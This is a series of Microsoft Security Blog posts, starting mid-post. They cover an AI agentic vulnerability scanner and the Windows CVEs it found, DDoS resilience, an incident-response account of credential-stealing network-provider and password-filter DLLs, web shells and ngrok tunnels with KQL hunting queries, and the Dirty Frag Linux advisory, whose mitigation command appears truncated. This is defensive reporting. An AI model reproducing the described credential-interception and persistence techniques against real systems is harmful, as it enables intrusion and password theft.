Detecting that requires cross-file reasoning: identifying analogous patterns, aligning their intent, and noticing the deviation. On top of that, reachability depends on composing multiple conditions—an input that sets the SSRR flag, default configuration that allows the path, and concurrent subsystems that can reclaim the object during the exposed window. A single-shot analysis collapses these steps and loses the interaction between them, whereas a staged approach can connect the ownership violation, the concurrency model, and the externally controlled trigger into a coherent exploitation path.

Disclosure. CVE-2026-33827, patched in April Patch Tuesday. 

CVE-2026-33824: Unauthenticated IKEv2 SA_INIT + fragmentation → double-free → LocalSystem RCE

The vulnerability lived in the IKEEXT service, the Windows component responsible for IKE and AuthIP keying for IPsec, and was reachable by a remote, unauthenticated attacker over UDP/500 on any host configured as an IKEv2 responder (RRAS VPN, DirectAccess, Always-On VPN infrastructure, or any machine with an inbound connection security rule). By sending a crafted IKE_SA_INIT carrying Microsoft’s “IPsec Security Realm Id” vendor-ID payload, followed by a single IKEv2 fragment (RFC 7383 SKF) that reassembles immediately, an attacker could trigger a deterministic double-free of a 16-byte heap allocation inside the service.

Because IKEEXT runs as LocalSystem inside svchost.exe, this represents a pre-authentication remote code execution path into one of the highest-privilege contexts on the system. The root cause is a textbook ownership bug. When IKEEXT reinjects a reassembled fragment back through its receive pipeline, it duplicates the packet’s receive context with a flat memcpy. This is a shallow copy: it clones the struct’s bytes but not the heap allocations it points to. One of those allocations is the attacker-supplied security-realm identifier, and after the copy, both the queued context and the live Main Mode SA hold the same pointer, and both believe they own it.

On teardown, each one frees it, resulting in a double-free. The trigger sequence is two UDP packets, no race, no special timing. The IKEEXT service runs as LocalSystem in svchost.exe. A double-free of a fixed-size heap chunk is a well-understood corruption primitive in modern Windows; we are not publishing further exploitation details. Reachability requires that the host has an IKEv2 responder policy that accepts the proposed transforms—the bug is reachable on RRAS VPN, DirectAccess, Always-On VPN, and IPsec connection security rules in their typical configurations, but a bare Start-Service IKEEXT with no responder policy is not vulnerable. The IKEEXT service is DEMAND_START by default; where responder policy exists, BFE will start it on the first inbound IKE packet, so the attacker does not need IKEEXT to already be running.

Why single-model systems missed this bug

The bug is an aliasing lifecycle bug spanning six files: ike_A.c (the bad memcpy), ike_B.c (the alias origin and the first stack-local copy), ike_C.c (the wrong free), ike_D.c (both the right pattern and the second free), ike_E.c (where the buffer gets populated remotely), and ike_F.c (the IKEv2 dispatcher and the UAF read site that precedes the second free). No single-file analysis sees it. The strongest piece of evidence that the bug is real is the correct version of the same pattern, in the same code base, in ike_D.c—immediately after the memcpy of the selector. Catching this requires the auditor to recognize the missing step at one site by reference to the present step at another. Our specialized auditor agents are designed to surface exactly these comparisons; the debate stage forces them to stand up under cross-examination.

Disclosure. CVE-2026-33824, patched in April Patch Tuesday.   

How capable is codename MDASH?

The Patch Tuesday cohort and the StorageDrive are forward-looking signals. Two retrospective benchmarks tell us how the system performs against ground truth on real, well-reviewed code.  

Recall on historical MSRC cases. We re-ran codename MDASH against pre-patch snapshots of two heavily reviewed Windows components and measured whether the historical MSRC-confirmed bugs would have been (re-)discovered: 

• clfs.sys: 96% recall on 28 MSRC cases spanning five years. 
• tcpip.sys: 100% recall on 7 MSRC cases spanning five years. 

These are the strongest internal numbers we publish, and they are meaningful for a specific reason: the MSRC case database is the ground truth for what real attackers exploited, what required a Patch Tuesday, and what defenders had to react to. A system that recovers 96% of a five-year MSRC backlog in a heavily reviewed kernel component is not finding theoretical weaknesses; it is finding the bugs that mattered. 

We are deliberate about what these numbers do and do not claim. They are retrospective recall benchmarks on internal code with a finite case count. They tell us that the system would have been useful had it existed at the time. They do not, by themselves, predict that the next 38 bugs in CLFS will be found at the same rate. The forward-looking signal is the Patch Tuesday cohort itself. 

The CLFS proving extension as a worked example. The 96% CLFS recall number is in part a story about the prove stage. Many CLFS findings look interesting until you try to construct a triggering log file; a candidate finding without a proof is, in practice, an entry on a triage backlog. The CLFS-specific proving plugin we wrote knows how to construct triggering logs given a candidate finding: it understands the on-disk container layout, the block-validation sequence, and the in-memory state machine well enough to drive a candidate path to its sink. This is precisely what plugin extensibility is for: the foundation models do not, and should not be expected to, internalize Microsoft-specific filesystem invariants. The plugin embeds them, the model uses them, and the outcome is bugs that survive being proven, not bugs that get filed and forgotten.

CyberGym. On the public CyberGym benchmark—a corpus of 1,507 real-world vulnerability reproduction tasks drawn from across 188 OSS-Fuzz projects—the Microsoft Security multi-model agentic scanning harness reaches an 88.45% success rate, the highest score on CyberGym’s published leaderboard at the time of writing and roughly five points above the next entry, 83.1%. This result was obtained by using generally available models. The strong results suggest that the surrounding agentic system contributes substantially to end-to-end performance, beyond raw model capability. For evaluation, we used CyberGym’s default configuration (level 1), which provides the vulnerable source code and a high-level vulnerability description. To interface with CyberGym’s evaluation protocol, we extended the harnesses prove stage to autonomously submit proof-of-concept (PoC) inputs and retrieve flags.

Our failure analysis of the remaining roughly 12% reveals two notable structural patterns: among findings that targeted the wrong code area, 82% came from tasks with vague descriptions that also lacked function or file identifiers, suggesting that description quality is a major factor in scan accuracy. We also found cases where the agent constructed libFuzzer-style inputs, but the benchmark task actually required honggfuzz-format inputs, leading to otherwise sound reproductions failing on harness-format mismatch.

What this all means

We are at a moment in the industry where AI-powered vulnerability discovery stops being speculative and starts being an engineering problem. The findings in this Patch Tuesday and the retrospective recall on five years of CLFS MSRC cases are evidence that AI vulnerability findings can scale.

What we have learned building MDASH and using it across Microsoft is more portable: the harness does the work, and the model is one input.

This matters in three concrete ways.

First, discovery requires composition that no single prompt can achieve. The bugs in this post—the tcpip.sys race, the ikeext.dll alias chain—are not visible to a model handed a single function. They are visible to a system that can sequence cross-file pattern comparison, multi-step reachability analysis, debate between specialized agents, and end-to-end proof construction. Single-model harnesses undersold what models can do; over-trusted single agents overshoot what models can do reliably. The art is the harness around the model, and the harness is most of the engineering.

Second, validation is the difference between a finding and a fix. A scanner that flags candidate bugs is a scanner that produces a triage backlog. The Patch Tuesday cohort is what it is because the system that produced it does not stop at candidate—it debates, dedups, and proves. Validation is not a checkbox; it is its own pipeline of agents and plugins, and it is where most of the day-over-day engineering ends up.

Third, the system absorbs model improvements, which is what makes it durable. When a new model lands, the targeting, debating, dedup, and proof stages do not need to be rewritten; we change a configuration and re-run an A/B test. The customer’s investment—per-project context, scan plugins, proving agents—carries over. This is the architectural property that matters most over time, because the model lottery is going to keep playing out, and any system whose value is gated on a particular model is a system that has to be rebuilt every six months.

For defenders—at any scale, on any code they own—the implication is the same. The right question to ask of an AI vulnerability tool is not which model does it use? but what does it do with the model, and what survives when the next model arrives?

Conclusion

The Microsoft Security multi-model agentic scanning harness (codename MDASH) is helping our engineering teams meaningfully improve security outcomes using generally available AI models—today. It is also being tested by customers as part of our limited private preview. To join the private preview, please sign up here.

Many thanks to the teams across Microsoft working to improve the security of our customers, including the Autonomous Code Security team, the Microsoft Offensive Research and Security Engineering (MORSE), and the Microsoft Windows Attack Research and Protection (WARP) whose work led to the findings in this post. 

We look forward to sharing more updates with customers and the industry as we work to make the world a safer place for all. 

The post Defense at AI speed: Microsoft’s new multi-model agentic security system tops leading industry benchmark appeared first on Microsoft Security Blog.

If you own, create, or maintain online services and web portals, you’re probably aware of the dramatic upswing in DDoS attacks on your domains. AI has democratized tooling not just for us but for threat actors as well. DDoS in this era has extended from simple bandwidth saturation to sophisticated, application-layer abuse. Defending against this activity now requires system-level design, beyond just the typical network-level filtering. As botnets continue to expand their footprint and evade identification, it is important for us to take a step back, assess the situation, and take a defense-in-depth approach to increase our resilience against this class of disruption.

DDoS activity across Bing and other online services at Microsoft has seen a large uptick in the past five to six years. As reported in the Microsoft Digital Defense Report 2025, Microsoft now processes more than 100 trillion security signals, blocks approximately 4.5 million new malware attempts, analyzes 38 million identity risk detections, and screens 5 billion emails for malicious content each day. This helps illustrate both the breadth of modern attack surfaces and the automation cyberattackers can now wield at industrial scale. When we narrow in specifically on DDoS, an even clearer trend emerges: beginning in mid-March of 2024, Microsoft observed a rise in network DDoS attacks that eventually reached approximately 4,500 cyberattacks per day by June 2024. And this persistent volume was paired with a shift toward more stealthy application-layer techniques.

In my role as Vice President, Intelligent Conversation and Communications Cloud Platform at Microsoft, I focus on helping the Microsoft AI and Bing teams build systems that are safe, resilient, and worthy of user trust, even under the sustained pressure we’re receiving from today’s cyberattackers. Whether you are responsible for a single public website or a large portfolio of consumer-facing applications, defending against modern DDoS attacks means more than just absorbing traffic. It means building defense-in-depth robust enough that, even if some attack traffic gets through, your service stays usable for the people who rely on it.

The nature of modern DDoS attacks

Early DDoS attacks were largely about volume. Cyberattackers would flood a target with traffic in an attempt to saturate network capacity and force an outage. While volumetric attacks still happen, most large services now have baseline protections that make this approach less effective on its own.

Modern DDoS attacks are more nuanced. They are often multi-vector, with a single campaign potentially including network-layer floods and application-layer abuse at the same time. Along with the exponential increase in the scale of these cyberattacks, they are also getting more tailored to stress specific applications and user flows. Application-layer attacks are gaining popularity because they are harder to distinguish from legitimate usage.

We also see threat actors utilizing a broader range of devices in botnets, including consumer Internet of Things (IoT) devices and misconfigured cloud workloads. In some cases, cyberattackers abuse legitimate cloud infrastructure to generate traffic that blends in with normal usage patterns. Edge systems, such as content delivery networks (CDNs) and front-door routing services, are increasingly targeted because they sit at the boundary between users and applications.

When attack traffic looks like normal user traffic, typical network-level blocklists aren’t very effective. You need sophisticated fingerprinting (starting with JA4), layered controls, and good operational visibility. This evolution is part of what makes defending against DDoS more than a networking problem. It is now a system design problem, an operational monitoring problem, and ultimately a trust problem.

A defense-in-depth framework

Even if you block 95% of malicious traffic, the remaining 5% can still be enough to take you down if it hits the right bottleneck. That’s why defense-in-depth matters.

A strong defensive posture starts with making abnormal traffic easier to spot and harder to exploit. Techniques like rate limiting, geo-fencing, and basic anomaly detection remain foundational. They are most effective when tuned to your specific traffic patterns. Cloud-native DDoS protection services play an important role here by absorbing large-scale attacks and surfacing telemetry that helps teams understand what is happening in real time. If you run on Azure, there are built-in options that can help when used as part of a broader design. Azure DDoS Protection is designed to mitigate network-layer cyberattacks and is intended to be used alongside application design best practices. At the edge, services like Azure Web Application Firewall (WAF) on Azure Front Door can provide centralized request inspection, managed rule sets, geo-filtering, and bot-related controls to reduce malicious traffic before it reaches your origins.

Microsoft publishes a range of Secure Future Initiative (SFI) guidance and engineering blogs that describe patterns we use internally to harden consumer services at scale, and if you’re looking to assess how robust your site’s current DDoS resilience posture is, here’s a simple tabular framework to work from:

Planning for graceful degradation

One of the most common misconceptions about DDoS defense is that success means “no reduction in services.” In reality, even a partially successful attack can degrade performance enough to frustrate users or erode trust, without triggering a full outage. Graceful degradation is about maintaining core functionality even when systems are under stress. It means being deliberate about which user flows must remain available and which can be temporarily limited without causing disproportionate harm.

For example, our systems prioritize core scenarios over secondary features during extremely large cyberattacks. In practice, this can mean temporarily delaying nonessential personalization or shedding load from less critical features to preserve overall responsiveness. These decisions are made in advance and tested, not improvised during an incident. Here’s an example of how we might do that:

• Prioritizing core user flows: We would focus on keeping core scenarios responsive. That might mean protecting one or two core scenarios while de-emphasizing secondary experiences.

• Reducing expensive work first: Some parts of an experience are computationally heavier. Under attack pressure, those are candidates for temporary reduction, so the overall service stays usable.

• Tiered experience under load: In extreme conditions, you can provide a better experience for users with higher trust signals while still offering an acceptable experience to everyone else. This is not about punishing lower trust users. It is about making sure your system can still serve legitimate demand when resources are constrained.

• Clear user messaging: If you need to disable or simplify a feature temporarily, communicate it in a way that is honest and calm. You do not need to explain your internal architecture. You do need to be predictable.

Designing for resilience means assuming that individual components will fail or be stressed at some point. Systems that are built with that expectation tend to recover faster and maintain user trust more effectively than systems that aim for perfect uptime at all costs.

Get started improving your DDoS defense

If I could leave you with a single practical concept, it would be this: treat DDoS as a normal operating condition for internet-facing services. Build defense in depth. Assume some cyberattack traffic will get through. Design your service so it can degrade gracefully while protecting the user experiences that matter most.

Consumer trust is fragile and hard-earned. Developers and operators who think beyond raw availability, and who design for transparency, prioritization, and resilience, are better positioned to handle the realities of today’s cyberthreat landscape. Modern defensive strategies combine proactive controls, thoughtful architecture, and a clear understanding of what matters most to users.

For those interested in going deeper, I encourage you to explore the Secure Future Initiative resources and the other Office of the CISO blogs provided by my peers at Microsoft. Both of these resources frequently share practical patterns for building and operating resilient services at scale.

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The post Defending consumer web properties against modern DDoS attacks appeared first on Microsoft Security Blog.

In recent years, many sophisticated intrusions have increasingly avoided using noisy exploits, obvious malware, or custom tooling, instead leveraging systems that organizations already trust within their environments. By operating through legitimate and trusted administrative mechanisms, threat actors could more easily blend seamlessly into routine operations and remain undetected.

Microsoft Incident Response investigated an intrusion that followed this pattern. What initially appeared as routine administrative activity was instead found to be a coordinated campaign abusing trusted operational relationships and authentication processes to establish durable access. The threat actor in this incident leveraged a compromised third-party IT services provider and legitimate IT management tools to conduct a stealthy campaign focusing on long-term access, credential theft, and establishing a persistent foothold.

This blog walks through how the intrusion unfolded, why it was difficult to detect, and how trusted systems, including identity infrastructure, operational tooling, and third-party management relationships were leveraged to sustain access. By examining the investigation end to end, we highlight how modern intrusions succeed without reliance on malware-heavy techniques and what defenders can learn from identifying abuse in environments where trust is implicit. We also provide mitigation and protection recommendations, as well as Microsoft Defender detection and hunting guidance to help identify and investigate related activity.

Abuse of trusted relationships as an attack delivery mechanism

Rather than relying on exploits or malware-based delivery, this attack leveraged an existing trusted operational relationship for malicious activity across the environment. The investigation identified HPE Operations Agent (OA), an approved and signed enterprise management tool commonly used for monitoring and administrative automation, as the primary delivery mechanism. Importantly, this did not involve any vulnerability or flaw in HPE OA itself.

Analysis during the incident response process revealed that management of this operational platform had been delegated to a third-party IT services provider, expanding the trust boundary beyond the organization itself. While such arrangements are operationally common, they introduce implicit trust paths that, if compromised, could be leveraged by threat actors to move within the environment using legitimate access and tooling.

By operating through the HPE OA framework, the threat actor executed scripts and binaries in a manner indistinguishable from normal operations, allowing malicious activity to blend seamlessly into expected behavior and delaying detection.

This technique aligns with MITRE ATT&CK T1199 – Trusted Relationship, in which threat actors exploit established trust relationships to extend access. In this case, the threat actor’s ability to operate entirely through trusted systems allowed them to establish a foothold and execute follow-on actions without relying on exploit-driven techniques.

Attack timeline

This timeline provides a high-level summary of the intrusion, highlighting key phases of the attack. A detailed analysis of each stage is presented in the sections that follow.

Day 1: Initial foothold established

The threat actor gained initial access to the environment by compromising a third-party IT services provider and began operating through trusted systems, enabling execution without triggering immediate alerts.

Days 9–14: Credential access achieved

Credential interception capabilities were introduced on domain infrastructure, allowing the threat actor to harvest and reuse credentials to expand access across devices.

Days 24–32: Web-based persistence established

Persistent access was established on internet-facing servers, enabling the threat actor to maintain repeated access even if individual artifacts were removed.

Days 40–60: Lateral movement and remote access

The threat actor leveraged harvested credentials and covert connectivity to move laterally across devices, including highly sensitive assets.

Days 54–55: Additional credential interception deployed

Credential harvesting was further expanded on domain controllers, ensuring continued access during authentication and password change events.

Days 104–106: Persistence reestablished

Following initial detection, the threat actor returned to previously established access points to reenable persistence and deploy additional tooling.

Day 123: Incident response engagement

Microsoft Incident Response was engaged to investigate the intrusion.

Methods, tools, and access strategies

Initial access

During the investigation, two internet-exposed web servers, WEB-01 and WEB-02, were identified as the earliest known compromised assets. A web shell, Errors.aspx, was discovered on both of these devices; however, there was no indication that the servers had been previously exploited, and the mechanism that deployed the web shells couldn’t be determined.

Using intelligence from Microsoft Threat Intelligence regarding a known malicious domain, Microsoft Incident Response was able to identify a workstation communicating with this infrastructure. This led to the discovery of an execution path involving this domain, which revealed another execution path in which VBScripts (abc003.vbs) were deployed through HPE Operations Manager (HPOM).

HPOM and HPE OA form a distributed IT infrastructure monitoring platform. HPOM functions as a centralized management console for monitoring devices’ health, performance, and availability, while HPE OA is deployed on managed hosts to collect telemetry and execute automated, scheduled, or operator-initiated actions across the environment. In this case, the HPOM was operated by a third-party service provider responsible for managing the customer’s infrastructure.

The threat actor, operating HPOM, executed VBScripts on multiple servers, including the web server and a domain controller. The VBScripts had the following functionality:

• System network configuration discovery
• Active Directory discovery
• External IP address discovery through PowerShell

Credential access

After gaining initial access, the threat actor shifted focus to credential harvesting. The threat actor registered a legitimate network provider named mslogon on the domain controller DC01 through the same HP OA to hijack the authentication process. Network providers integrate into the Windows authentication mechanism, allowing the threat actor to capture cleartext user credentials during user sign-in and password changes. By delivering the component through a trusted and legitimate management channel, the threat actor was able to blend in with routine administrative activity and remain undetected for an extended period.

Analysis of the deployed network provider dynamic link library (DLL), mslogon.dll, revealed the deliberate abuse of Windows Credential Manager APIs, specifically NPLogonNotify and NPPasswordChangeNotify. These APIs are designed to notify registered providers during authentication events.

NPLogonNotify is triggered when a user performs an interactive sign in. When triggered, the DLL captures the submitted username and password in cleartext.

NPPasswordChangeNotify is invoked when a user changes their password using secure attention sequence (Ctrl+Alt+Delete). When triggered, the DLL captured both the old and new credential pairs. These passwords are stored in cleartext under C:\Users\Public\Music\abc123c.d. This file enabled the threat actors to reuse both the current valid credentials and historical passwords for lateral movement.

Later in the intrusion, on DC01 and DC02, the threat actor registered a malicious password filter, passms.dll, into the Windows authentication process by adding it to the Local Security Authority (LSA) notification packageconfiguration. Password filters are loaded by the Local Security Authority Subsystem Service (LSASS) on domain controllers and are invoked whenever a password is set or changed. This abused a legitimate Windows extensibility mechanism, which helped the threat actor blend in and remain undetected for an extended period; similar tactics were observed earlier in the intrusion.

During a password change operation, LSASS calls the PasswordFilter() API for each DLL listed under the Notification Packages registry value (Figure 5). The function receives the username and password in cleartext as input parameters. By registering a malicious password filter, the threat actor gained visibility into password modification events at the system level, allowing credential capture during normal authentication workflows.

When triggered, passms.dll intercepted the credential data and wrote the output toC:\ProgramData\WindowsUpdateService\UpdateDir\Ipd. The captured data was not stored in cleartext. Instead, it was double encoded, first by using Base64, followed by a custom encoding routine embedded within the DLL.

A second module, msupdate.dll, was created on DC01 and DC02 which operated alongside passms.dll. It was invoked using the following command:

Once invoked, the module read the contents of the Ipd file and transferred the encoded data over Server Message Block (SMB) to remote shares. The data was written into a file named icon02.jpeg, likely intended to blend with legitimate image assets.

In addition to SMB-based staging, msupdate.dll also contained email exfiltration capabilities. The module could send messages with the subject line “Update Service” using a predefined Simple Mail Transfer Protocol (SMTP) server, recipient address, and credentials retrieved from local files.

Execution

Execution was achieved through the abuse of an existing enterprise automation channel, allowing malicious VBScript and PowerShell scripts to run under the context of trusted system processes. By leveraging HPE OA to launch abc003.vbs, the threat actor performed system, network, and Active Directory discovery, while maintaining a low-noise execution profile.

On internet-facing web servers, execution was achieved through web shells (Errors.aspx and modified Signoff.aspx), which were used to run PowerShell scripts, deploy binaries, and trigger follow-on activity such as credential access and tunnelling tools.

Persistence

Web shells were the primary persistence mechanisms deployed on internet-facing web servers, WEB-01 and WEB-02. An initial web shell, Errors.aspx,allowed the threat actor to write files to disk. This was later used to modify a legitimate application page, Signoff.aspx, to load a secondary web shell, ghost.inc, from the Windows temporary directory. The secondary web shell provided command execution, file upload, and download capabilities, enabling repeated access even if individual artifacts were removed. This persistence relied on modifying existing application files rather than introducing new services, reducing the likelihood of detection.

The HPE OA was present on both servers and was highly likely used to deploy the web shell. However, because neither server had endpoint detection and response (EDR) coverage, Microsoft Incident Response was unable to confirm this. As a result, the origin and creation mechanism of the web shell, Errors.aspx, on the web server remain unknown.

Persistence was reinforced through the registration of malicious authentication components on domain controllers, DC01 and DC02, ensuring credential interception continued across reboot and credential reset events.

Prior to establishing persistent access, the threat actor first identified internal servers with outbound internet connectivity that could support tunneling. This discovery led to subsequent deployment of ngrok as a persistence mechanism. Instances of ngrok were launched on these internal servers, exposing them through encrypted tunnels to the threat actor’s infrastructure. These tunnels enabled continued inbound access for Remote Desktop Protocol (RDP) sessions without requiring exposed firewall ports, allowing persistence even in environments with restrictive perimeter controls.

Lateral movement

After establishing credential access, execution, and persistence, the threat actor moved laterally using a combination of valid credentials, remote management protocols, and covert network tunnelling using ngrok.

A compromised high-privileged account was used to initiate RDP sessions across the environment, enabling interactive access to critical devices including SQL servers and domain controllers.

To conceal the true source of these connections, the threat actor deployed ngrok, creating encrypted tunnels that exposed internal devices to the internet while bypassing perimeter-based monitoring. Evidence showed RDP connections originating from the ngrok tunnel hosted on SQL-01, masking the threat actor’s real infrastructure and complicating network-based detection.

Lateral movement was further supported by Windows Management Instrumentation (WMI)-based remote execution, which was used to deploy and launch ngrok on additional devices from compromised web servers.

Compromised credentials harvested using password filter DLLs and malicious network provider DLLs on domain controllers enabled continued access and movement without the need for exploit-based techniques.

Campaign conclusion

This campaign demonstrated sustained operational maturity, reinforcing a consistent pattern: long-term access, commonly used tools, and campaigns designed to achieve strategic impact.

A recurring lesson from this activity is the abuse of trusted relationships. Third-party service providers and integrated management tools can become enforcement gaps when visibility is limited or validation is assumed. Threat actors understand this. They leverage legitimate components, trusted update paths, and approved integrations to anchor themselves inside environments that appear compliant on the surface.

Defenders should adopt a posture of deliberate verification. Trust your vendors and tooling but validate their behavior within your environment. Organizations operating in sensitive sectors should assume that threat actors with this level of tradecraft will continue refining third party abuse, credential interception, and stealthy persistence mechanisms to maintain strategic access.

Mitigation and protection guidance

Microsoft recommends the following mitigation measures to defend against such stealthy campaigns described in this blog.

• Turn on cloud-delivered protection in Microsoft Defender Antivirus or the equivalent for your antivirus product to cover rapidly evolving attacker tools and techniques. Cloud-based machine learning protections block a majority of new and unknown variants.
• Deploy endpoint detection and response (EDR) across all endpoints to strengthen visibility, accelerate detection, and improve response to malicious activity.
• Adopt a default-deny egress filtering model so servers only allow explicitly approved outbound traffic, reducing opportunities for communication with malicious command-and-control and data exfiltration.
• Remove unnecessary software and tools from systems to reduce the attack surface and limit opportunities for attacker abuse.
• Enable detailed logging and monitoring on web servers and actively watch for anomalies (such as unexpected file changes or suspicious web requests).
• Implement the enterprise access model to contain privilege escalation and enforce stronger access controls across the environment.
• Strengthen security operations center (SOC) monitoring and incident response by addressing detection, response, and operational gaps identified during the incident.

Microsoft Defender detection and hunting guidance

Microsoft Defender customers can refer to the list of applicable detections below. Microsoft Defender XDR coordinates detection, prevention, investigation, and response across endpoints, identities, email, apps to provide integrated protection against attacks like the threat discussed in this blog.

Microsoft Security Copilot

Microsoft Security Copilot is embedded in Microsoft Defender and provides security teams with AI-powered capabilities to summarize incidents, analyze files and scripts, summarize identities, use guided responses, and generate device summaries, hunting queries, and incident reports.

Customers can also deploy AI agents, including the following Microsoft Security Copilot agents, to perform security tasks efficiently:

• Threat Intelligence Briefing agent
• Phishing Triage agent
• Threat Hunting agent
• Dynamic Threat Detection agent

Security Copilot is also available as a standalone experience where customers can perform specific security-related tasks, such as incident investigation, user analysis, and vulnerability impact assessment. In addition, Security Copilot offers developer scenarios that allow customers to build, test, publish, and integrate AI agents and plugins to meet unique security needs.

Hunting queries

Microsoft Defender XDR customers can run the following advanced hunting queries to find related activity in their networks:

Password filters DLL

Look for unsigned / unverified DLLs configured as LSA notification packages.

DeviceRegistryEvents
| where RegistryKey has @"control\LSA"  and RegistryValueName has "Notification Packages" // Filter to LSA registry path
| project DeviceName, RegistryKey, RegistryValueName, RegistryValueData
| extend NotificationPackage = split(RegistryValueData, " ")
| mv-expand NotificationPackage
| extend NotificationPackage = tostring(NotificationPackage)
| extend Path = tolower(strcat(@"c:\windows\system32\", NotificationPackage, ".dll")) // Construct full DLL path in lower-case
| join kind=leftouter (
    DeviceFileEvents
    | extend Path = tolower(strcat(FolderPath)
    | project DeviceName, SHA1, Path
) on DeviceName, Path
| invoke FileProfile(SHA1) // Retrieve file signing information
| where SignatureState in~ ("SignedInvalid", "Unsigned") // Filter for files that are unsigned or have invalid signature
| project-away DeviceName1, SHA11
| distinct *

Network provider DLL

Look for custom network provider DLLs that are not signed and configured for Windows sign in.

let NetworkProviders = DeviceRegistryEvents
| where RegistryKey has @'\Control\NetworkProvider\Order' and RegistryValueName has 'ProviderOrder' // Filtering on 'ProviderOrder' entries
| extend Providers = split(RegistryValueData, ',')
| mv-expand Providers
| extend Providers = trim(@' ', tostring(Providers)) // Trim spaces around each provider name
| where Providers !in~ ('RDPNP','LanmanWorkstation') // Excluding default provider names
| distinct Providers; // Collect unique suspicious provider names
DeviceRegistryEvents
| where RegistryKey has_all (@'\Services\', @'\NetworkProvider') // Only registry keys under a service's NetworkProvider
and RegistryKey has_any (NetworkProviders) and 
RegistryValueName =~ 'ProviderPath'
| project DeviceName, RegistryKey, RegistryValueName, RegistryValueData
| extend Path = tolower(replace_string(RegistryValueData, '%SystemRoot%', @'C:\Windows')) // Normalize path: replace environment variable and use lower-case
| join kind=leftouter (
    DeviceFileEvents
    | extend Path = tolower(strcat(FolderPath))
    | project DeviceName, SHA1, Path
) on DeviceName, Path
| invoke FileProfile(SHA1,1000)
| where SignatureState in~ ("SignedInvalid", "Unsigned")
| distinct *

Learn more

For the latest security research from the Microsoft Threat Intelligence community, check out the Microsoft Threat Intelligence Blog.

To get notified about new publications and to join discussions on social media, follow us on LinkedIn, X (formerly Twitter), and Bluesky.

To hear stories and insights from the Microsoft Threat Intelligence community about the ever-evolving threat landscape, listen to the Microsoft Threat Intelligence podcast.

The post Undermining the trust boundary: Investigating a stealthy intrusion through third-party compromise appeared first on Microsoft Security Blog.

A newly disclosed Linux local privilege escalation vulnerability known as “Dirty Frag” enables escalation from an unprivileged user to root through vulnerable kernel networking and memory-fragment handling components, including esp4, esp6 (CVE-2026-43284), and rxrpc (CVE-2026-43500). Public reporting and proof-of-concept activity indicate the exploit is designed to provide more reliable privilege escalation than traditional race-condition-dependent Linux local privilege escalation techniques.

Dirty Frag may be leveraged after initial compromise through SSH access, web-shell execution, container escape, or compromise of a low-privileged account. Affected environments may include Ubuntu, RHEL, CentOS Stream, AlmaLinux, Fedora, openSUSE, and OpenShift deployments. Microsoft Defender is actively monitoring related activity and investigating additional detections and protections.

This article details an ongoing investigation into active campaign. We will update this report as new details emerge. Latest update: May 14, 2026.

May 14 update

A new variant of the recent Dirty Frag vulnerability, named Fragnesia (CVE-2026-46300), has been discovered. Similarly to Dirty Frag, this variant leverages a different bug to be able to manipulate Linux page cache behavior to achieve privilege escalation. Fragnesia leverages a bug in the esp/xfrm module only, unlike Dirty Frag that also provided an attack path via rxrpc.

Signatures Trojan:Linux/DirtyFrag.Z!MTB and Trojan:Linux/DirtyFrag.DA!MTB, released initially to cover Dirty Frag, also cover the public exploit for Fragnesia and can be used as indicators of a possible abuse of this vulnerability. A patch is available, and while no in-the-wild exploitation has been observed at this time, we urge users and organizations to apply the patch as soon as possible by running update tools. If patching is not possible at this point, consider applying the same mitigations for Dirty Frag.

Why Dirty Frag matters

Local privilege escalation vulnerabilities are frequently used by threat actors after initial access to expand control over a compromised environment. Once root access is obtained, attackers can disable security tooling, access sensitive credentials, tamper with logs, pivot laterally, and establish persistent access.

Dirty Frag is notable because it introduces multiple kernel attack paths involving rxrpc and esp/xfrm networking components to improve exploitation reliability. Rather than relying on narrow timing windows or unstable corruption conditions often associated with Linux local privilege escalation exploits, Dirty Frag appears designed to increase consistency across vulnerable environments.

This increases operational risk in environments where threat actors already possess limited local execution capability through compromised accounts, vulnerable applications, containers, or exposed administrative interfaces.

Technical overview

Dirty Frag abuses Linux kernel networking and memory-fragment handling behavior involving esp4, esp6, and rxrpc components. Similar to the previously disclosed CopyFail vulnerability (CVE-2026-31431), the exploit attempts to manipulate Linux page cache behavior to achieve privilege escalation. However, Dirty Frag introduces additional attack paths that expand exploitation opportunities and improve reliability.

The vulnerability affects systems where vulnerable modules are present and accessible. In many enterprise environments, these components may already be enabled to support IPsec, VPN functionality, or other networking workloads.

Exploitation scenarios

Threat actors may leverage Dirty Frag after obtaining local code execution through several common intrusion paths, including:

• Compromised SSH accounts
• Web-shell access on internet-facing applications
• Container escapes into the host environment
• Abuse of low-privileged service accounts
• Post-exploitation activity following phishing or remote access compromise

Once local access is established, successful exploitation may allow attackers to escalate privileges to root and gain broad control over the affected Linux host.

Limited In-The-Wild Exploitation

Microsoft Defender is currently seeing limited in-the-wild activity where privilege escalation involving ‘su’ is observed, and which may be indicative of techniques associated with either “Dirty Frag” or “Copy Fail”.

The campaign shows a sequential attack timeline where an external connection gains SSH access and spawns an interactive shell, followed by staging and execution of an ELF binary (./update) that immediately triggers a privilege escalation via ‘su’.

After gaining elevated access, the actor modifies a GLPI LDAP authentication file (evidenced by a .swp file from vim), performs reconnaissance of the GLPI directory and system configuration, and inspects an exploit artifact. The activity then shifts to accessing sensitive data and interacting with PHP session files — first deleting multiple session files and then forcefully wiping additional ones — before reading remaining session data, indicating both disruption of active sessions and access to session contents.

Mitigation guidance

The Linux Kernel Organization released patches, which are linked at the National Vulnerability Database (NVD), to fix CVE-2026-43284 on May 8, 2026. Customers who have not applied these patches are urged to do so as soon as possible. As of May 8, 2026, patches for CVE-2026-43500 are not available. CVE-2026-43500 is reportedly reserved for the RxRPC issue but is not yet published in NVD.

While comprehensive remediation guidance continues to evolve, organizations should evaluate interim mitigations immediately.

Recommended actions include:

• Disable unused rxrpc kernel modules where operationally possible
• Assess whether esp4, esp6, and related xfrm/IPsec functionality can be temporarily disabled safely
• Restrict unnecessary local shell access
• Harden containerized workloads
• Increase monitoring for abnormal privilege escalation activity
• Prioritize kernel patch deployment once vendor advisories are released

The following example prevents vulnerable modules from loading and unloads active modules where possible:

cat /dev/null

These mitigations should be carefully evaluated before deployment, particularly in environments relying on IPsec VPNs or RxRPC functionality.

Post-mitigation integrity verification

Mitigation alone may not reverse changes already introduced through successful exploitation attempts.

If exploitation occurred prior to mitigation, malicious modifications may persist in memory or cached file content even after vulnerable modules are disabled. Organizations should validate the integrity of critical files and assess whether cache clearing is appropriate for their environment.

echo 3 | sudo tee /proc/sys/vm/drop_caches

Cache clearing can temporarily increase disk I/O and impact production performance and should be evaluated carefully before deployment.

Microsoft Defender coverage

Microsoft Defender XDR customers can refer to the following list of applicable detections below that provides coverage for behaviors surrounding “Dirty Frag” exploitation.

